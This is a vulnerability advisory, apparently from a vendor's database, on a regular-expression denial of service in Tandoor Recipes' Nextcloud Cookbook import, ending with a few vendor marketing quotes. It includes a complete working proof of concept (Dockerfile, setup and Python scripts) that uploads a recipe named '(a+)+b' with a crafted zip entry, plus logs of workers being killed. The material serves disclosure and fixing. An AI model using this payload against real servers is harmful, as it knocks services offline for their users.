
Cloud Vulnerability DB
A community-led vulnerabilities database
The Nextcloud Cookbook importer looks for each recipe's image with re.match(f'^(.)+{recipe.name}/full.jpg$', z.filename) over all entries of the uploaded zip (cookbook/integration/nextcloud_cookbook.py:101). The recipe name comes unescaped from the uploaded recipe.json, and the file names come from the same zip. With the name (a+)+b and an entry named 1000 a characters followed by /full.jpg, the match backtracks without end in the import thread, and because the regex engine holds the GIL, the whole worker process stops answering. We confirmed this on the latest develop with the gunicorn options of boot.sh (3 workers, 2 threads, timeout 30), as a member of the user group. One upload kept a worker stuck until gunicorn killed it after about 33 seconds. Three uploads sent one after another usually stuck all three workers, and then every request from others timed out until the workers were killed; repeating them every 35 seconds made the service unavailable from 0 to 31 s and from 35 to 66 s. (When an upload happens to reach a worker that is already stuck, it waits instead, and the remaining worker keeps answering.) The upload itself returns 200 at once.
Tested on develop at commit cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c (2026-10-27, release 2.7.2 plus one merge commit). The affected code is the same in 2.7.2; the line was added in c9cd5325c (2021-11-09).
POST /api/import/ (AppImportView, cookbook/views/api.py:3059, permission_classes = [CustomIsUser & CustomTokenHasReadWriteScope], throttle_classes = [RecipeImportThrottle]) reads the uploaded files into memory and runs integration.do_import in a background thread of the worker (:3079-3080). For type=NEXTCLOUD, do_import keeps the zip's *.json entries (import_file_name_filter, cookbook/integration/nextcloud_cookbook.py:17-18) and calls get_recipe_from_file for each (cookbook/integration/integration.py:220).
cookbook/integration/nextcloud_cookbook.py:
def get_recipe_from_file(self, file): # :20
recipe_json = json.loads(file.getvalue().decode("utf-8"))
...
recipe = Recipe.objects.create(
name=recipe_json['name'].strip(), description=description, ...)
...
for f in self.files: # :97
if '.zip' in f['name']:
import_zip = self.get_zip_file(f['file'])
for z in import_zip.filelist:
if re.match(f'^(.)+{recipe.name}/full.jpg$', z.filename): # :101
self.import_recipe_image(...)recipe.name is the uploaded name, stripped but not escaped. With (a+)+b the pattern becomes ^(.)+(a+)+b/full.jpg$. Against 'a' * 1000 + '/full.jpg', which has no b, the nested quantifiers backtrack exponentially.self.files (integration.py:157) are the uploaded files, so the attacker also chooses z.filename. The zip checks (get_zip_file, safe_read) limit only sizes, counts and nesting.re.match holds the GIL while it backtracks. The other threads of the worker, including the one that answers requests and the one that notifies the gunicorn master, cannot run, so the master kills the worker after --timeout (30 s in boot.sh; about 33 s after the upload in our runs). The import never finishes; its log stays at running=True.RecipeImportThrottle uses DRF_THROTTLE_RECIPE_URL_IMPORT, by default 60/hour per user (recipes/settings.py:183).poc/ runs Tandoor from the checkout with SQLite and gunicorn with the options of boot.sh (3 workers, 2 threads, timeout 30), in a container without network. setup_app.py creates a space and a member of the user group with an OAuth2 token (read write). poc.py, with that token:
UPLOADS imports of a zip with recipe.json (name (a+)+b) and an empty entry named 'a' * 1000 + '/full.jpg', repeated CYCLES times every 35 seconds;GET /api/import-log/ (10 s timeout) every 0.5 seconds for OBSERVE seconds; run.sh then prints gunicorn's worker lines. The probe and the uploads share one loop, so no probes are sent while an upload is waiting.
Gunicorn prints Perhaps out of memory? for every SIGKILL; each kill here follows a WORKER TIMEOUT, as expected for a worker that cannot run its other threads.UPLOADS=1:
BASELINE_IMPORT status=200 finished=True imported=1
MALICIOUS_IMPORTS (sent at s, status, import id) [(0.0, 200, 2)]; name "(a+)+b", entry of 1000 "a" + "/full.jpg"
PROBES 172 over 90s, failed or slower than 2 s: 0
IMPORT_LOG 2 running=True imported=0
[2026-11-07 03:06:22 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:15)
[2026-11-07 03:06:23 +0000] [12] [ERROR] Worker (pid:15) was sent SIGKILL! Perhaps out of memory?UPLOADS=3. In this run the second upload reached the worker that the first one had just stuck, so it waited 30 s and only two workers were stuck at the same time; the third worker kept answering:
BASELINE_IMPORT status=200 finished=True imported=1
MALICIOUS_IMPORTS (sent at s, status, import id) [(0.0, 200, 2), (30.0, 'ReadTimeout', None), (31.8, 200, 3)]; name "(a+)+b", entry of 1000 "a" + "/full.jpg"
PROBES 112 over 90s, failed or slower than 2 s: 0
IMPORT_LOG 2 running=True imported=0
IMPORT_LOG 3 running=True imported=0
[2026-11-07 03:08:04 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:14)
[2026-11-07 03:08:05 +0000] [12] [ERROR] Worker (pid:14) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:08:35 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:15)
[2026-11-07 03:08:36 +0000] [12] [ERROR] Worker (pid:15) was sent SIGKILL! Perhaps out of memory?UPLOADS=3 CYCLES=3 OBSERVE=120. In the first two cycles all three workers were stuck and every probe timed out until the workers were killed (0 to 31 s and 35 to 66 s); in the third cycle one upload reached a stuck worker, as in the previous run:
BASELINE_IMPORT status=200 finished=True imported=1
MALICIOUS_IMPORTS (sent at s, status, import id) [(0.0, 200, 2), (0.0, 200, 3), (0.1, 200, 4), (35.4, 200, 5), (35.4, 200, 6), (35.4, 200, 7), (70.2, 200, 8), (70.2, 200, 9), (100.2, 'ReadTimeout', None)]; name "(a+)+b", entry of 1000 "a" + "/full.jpg"
PROBES 51 over 120s, failed or slower than 2 s: 6
BAD_PROBES (sent at s, result, took s): 0.1:ReadTimeout:10.01, 10.6:ReadTimeout:10.0, 21.1:ReadTimeout:10.0, 35.4:ReadTimeout:10.0, 45.9:ReadTimeout:10.01, 56.4:ReadTimeout:10.01
IMPORT_LOG 2 running=True imported=0
IMPORT_LOG 3 running=True imported=0
IMPORT_LOG 4 running=True imported=0
IMPORT_LOG 5 running=True imported=0
IMPORT_LOG 6 running=True imported=0
IMPORT_LOG 7 running=True imported=0
IMPORT_LOG 8 running=True imported=0
IMPORT_LOG 9 running=True imported=0
[2026-11-07 03:09:47 +0000] [12] [ERROR] Worker (pid:15) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:09:47 +0000] [12] [ERROR] Worker (pid:16) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:10:22 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:33)
[2026-11-07 03:10:22 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:35)
[2026-11-07 03:10:22 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:37)
[2026-11-07 03:10:23 +0000] [12] [ERROR] Worker (pid:35) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:10:23 +0000] [12] [ERROR] Worker (pid:33) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:10:23 +0000] [12] [ERROR] Worker (pid:37) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:10:56 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:54)
[2026-11-07 03:10:56 +0000] [12] [CRITICAL] WORKER TIMEOUT (pid:56)
[2026-11-07 03:10:57 +0000] [12] [ERROR] Worker (pid:56) was sent SIGKILL! Perhaps out of memory?
[2026-11-07 03:10:57 +0000] [12] [ERROR] Worker (pid:54) was sent SIGKILL! Perhaps out of memory?Save the files below into a directory poc/, then:
git clone https://github.com/TandoorRecipes/recipes.git && git -C recipes checkout cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c
docker build --build-context target=./recipes -t recipes-poc poc/
docker run --rm --network none -e UPLOADS=3 recipes-poc
docker run --rm --network none -e UPLOADS=3 -e CYCLES=3 -e OBSERVE=120 recipes-poc<details><summary><code>poc/Dockerfile</code></summary>
FROM python:3.14-slim
ENV PYTHONUNBUFFERED=1 \
DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential pkg-config libldap-dev libsasl2-dev \
libxml2-dev libxslt1-dev libxmlsec1-dev libffi-dev libssl-dev curl \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /target
COPY --from=target requirements.txt ./
RUN sed -i '/# Development/,$d' requirements.txt
RUN python -m venv /venv && \
/venv/bin/pip install --upgrade pip && \
/venv/bin/pip install -r requirements.txt --no-cache-dir
COPY --from=target . ./
RUN rm -rf .git && mkdir -p /target/staticfiles /target/mediafiles
COPY run.sh setup_app.py poc.py /target/
RUN chmod +x /target/run.sh
EXPOSE 8000
CMD ["/target/run.sh"]</details> <details><summary><code>poc/run.sh</code></summary>
#!/bin/sh
set -u
cd /target
export PYTHONUNBUFFERED=1
export SECRET_KEY="${SECRET_KEY:-poc-secret-key-not-production}"
export ALLOWED_HOSTS="${ALLOWED_HOSTS:-127.0.0.1,localhost}"
export DATABASE_URL="${DATABASE_URL:-sqlite://localhost//tmp/db.sqlite3}"
export DEBUG="${DEBUG:-0}"
export STATIC_ROOT="${STATIC_ROOT:-/target/staticfiles}"
export MEDIA_ROOT="${MEDIA_ROOT:-/target/mediafiles}"
echo "[run] migrate"
if ! /venv/bin/python manage.py migrate --noinput >/tmp/migrate.log 2>&1; then
tail -100 /tmp/migrate.log
exit 1
fi
echo "[run] setup user"
if ! /venv/bin/python setup_app.py >/tmp/setup.log 2>&1; then
tail -100 /tmp/setup.log
exit 1
fi
echo "[run] starting gunicorn"
/venv/bin/gunicorn \
--chdir /target \
--bind 127.0.0.1:8000 \
--workers "${GUNICORN_WORKERS:-3}" \
--threads 2 \
--timeout 30 \
--pid /tmp/gunicorn.pid \
--access-logfile /tmp/access.log \
--error-logfile /tmp/gunicorn.log \
--log-level info \
recipes.wsgi:application >/tmp/gunicorn-console.log 2>&1 &
GUNICORN_PID=$!
echo "$GUNICORN_PID" > /tmp/gunicorn.pid
echo "[run] waiting for gunicorn"
/venv/bin/python - <<'PY'
import socket, time
for _ in range(120):
try:
s = socket.create_connection(('127.0.0.1', 8000), timeout=1)
s.close()
break
except OSError:
time.sleep(0.5)
else:
raise SystemExit('gunicorn did not start')
print('gunicorn ready')
PY
echo "[run] executing poc"
/venv/bin/python poc.py
RC=$?
echo "[run] gunicorn arbiter log (worker lifecycle lines)"
grep -E 'Worker|worker|WORKER TIMEOUT|Booting|OOM|SIGKILL|out of memory|exited' /tmp/gunicorn.log | tail -20 || true
exit $RC</details> <details><summary><code>poc/setup_app.py</code></summary>
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'recipes.settings')
import django
django.setup()
from django.contrib.auth.models import Group, User
from django.utils import timezone
from django_scopes import scopes_disabled
from oauth2_provider.models import AccessToken
from cookbook.models import Space, UserSpace
with scopes_disabled():
user, _ = User.objects.get_or_create(username='attacker')
user.set_password('poc-pass')
user.is_staff = False
user.is_superuser = False
user.save()
user_group, _ = Group.objects.get_or_create(name='user')
space, _ = Space.objects.get_or_create(name='poc-space', defaults={'created_by': user})
if space.created_by_id is None:
space.created_by = user
space.save(update_fields=['created_by'])
us, _ = UserSpace.objects.get_or_create(user=user, space=space)
us.active = True
us.save(update_fields=['active'])
us.groups.set([user_group])
token, _ = AccessToken.objects.get_or_create(
user=user,
token='poc-bearer-token',
defaults={'scope': 'read write', 'expires': timezone.now() + timezone.timedelta(days=1)},
)
token.scope = 'read write'
token.expires = timezone.now() + timezone.timedelta(days=1)
token.save(update_fields=['scope', 'expires'])
print('setup complete')</details> <details><summary><code>poc/poc.py</code></summary>
"""Nextcloud Cookbook import: the recipe name is used as a regular expression.
NextcloudCookbook.get_recipe_from_file runs
re.match(f'^(.)+{recipe.name}/full.jpg$', z.filename)
for every entry of the uploaded zip. With the name `(a+)+b` and an entry named
'a' * N + '/full.jpg' the match backtracks without end in the import thread.
The server runs with the gunicorn options of boot.sh (3 workers, 2 threads,
timeout 30). poc.py imports a normal recipe (baseline), then sends UPLOADS
malicious imports and watches the server for OBSERVE seconds: a probe sends
GET /api/import-log/ every 0.5 s, and run.sh prints the gunicorn log at the end.
"""
import io
import json
import os
import sys
import time
import zipfile
import requests
BASE = 'http://127.0.0.1:8000'
AUTH = {'Authorization': 'Bearer poc-bearer-token'}
N = int(os.environ.get('POC_N', '1000'))
UPLOADS = int(os.environ.get('UPLOADS', '1'))
OBSERVE = int(os.environ.get('OBSERVE', '90'))
CYCLES = int(os.environ.get('CYCLES', '1'))
CYCLE_SECONDS = int(os.environ.get('CYCLE_SECONDS', '35'))
def zip_bytes(name, evil):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr('recipe.json', json.dumps({
'name': name, 'description': '', 'recipeYield': 1,
'recipeIngredient': [], 'recipeInstructions': [],
}))
if evil:
z.writestr('a' * N + '/full.jpg', b'')
return buf.getvalue()
def post_import(name, evil):
try:
r = requests.post(BASE + '/api/import/', headers=AUTH, data={'type': 'NEXTCLOUD'},
files={'files': ('import.zip', zip_bytes(name, evil), 'application/zip')}, timeout=30)
except requests.RequestException as exc:
# A worker that is already stuck cannot answer.
return type(exc).__name__, None
return r.status_code, (r.json().get('import_id') if r.status_code == 200 else r.text[:200])
def wait_import(import_id, timeout=30):
end = time.time() + timeout
while time.time() < end:
r = requests.get(f'{BASE}/api/import-log/{import_id}/', headers=AUTH, timeout=10)
if r.status_code == 200 and not r.json().get('running'):
return r.json()
time.sleep(0.2)
return None
def main():
for _ in range(120):
try:
requests.get(BASE + '/api/import-log/', headers=AUTH, timeout=3)
break
except requests.RequestException:
time.sleep(0.5)
status, import_id = post_import('Benign Recipe', False)
log = wait_import(import_id) if status == 200 else None
print(f'BASELINE_IMPORT status={status} finished={log is not None} '
f'imported={log and log.get("imported_recipes")}', flush=True)
t0 = time.time()
ids = []
def send_cycle():
for _ in range(UPLOADS):
status, import_id = post_import('(a+)+b', True)
ids.append((round(time.time() - t0, 1), status, import_id))
send_cycle()
cycle, next_cycle = 1, CYCLE_SECONDS
probes = []
while time.time() - t0 < OBSERVE:
if cycle < CYCLES and time.time() - t0 >= next_cycle:
send_cycle()
cycle, next_cycle = cycle + 1, next_cycle + CYCLE_SECONDS
s = time.time()
try:
code = requests.get(BASE + '/api/import-log/', headers=AUTH, timeout=10).status_code
except requests.RequestException as exc:
code = type(exc).__name__
probes.append((round(s - t0, 1), code, round(time.time() - s, 2)))
time.sleep(0.5)
print(f'MALICIOUS_IMPORTS (sent at s, status, import id) {ids}; name "(a+)+b", entry of {N} "a" + "/full.jpg"',
flush=True)
bad = [p for p in probes if p[1] != 200 or p[2] > 2]
print(f'PROBES {len(probes)} over {OBSERVE}s, failed or slower than 2 s: {len(bad)}', flush=True)
if bad:
print('BAD_PROBES (sent at s, result, took s): ' + ', '.join(f'{a}:{c}:{d}' for a, c, d in bad[:40]), flush=True)
for _, st, iid in ids:
if st == 200:
try:
j = requests.get(f'{BASE}/api/import-log/{iid}/', headers=AUTH, timeout=10).json()
print(f'IMPORT_LOG {iid} running={j.get("running")} imported={j.get("imported_recipes")}', flush=True)
except Exception as exc:
print(f'IMPORT_LOG {iid} error={type(exc).__name__}', flush=True)
return 0
if __name__ == '__main__':
sys.exit(main())</details>
Any member of the user group can make the server stop answering. Each malicious import stops one gunicorn worker for about 30 seconds (until the worker timeout kills it), and its other requests in that worker are lost. With as many uploads as there are workers the whole service is unavailable for that time, and the attacker can repeat it: in our run, two rounds of three uploads made every other request time out for 31 of the first 66 seconds. The import throttle allows 60 uploads per hour per user, enough for 20 such rounds; additional accounts are not limited by it. The uploaded zip is about 2.3 KB. There is no confidentiality or integrity impact.
Preconditions: an account in the user group of a space (with a read/write token, or a session).
If you agree with this report, we would appreciate it if a CVE ID could be requested for the advisory when it is published.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."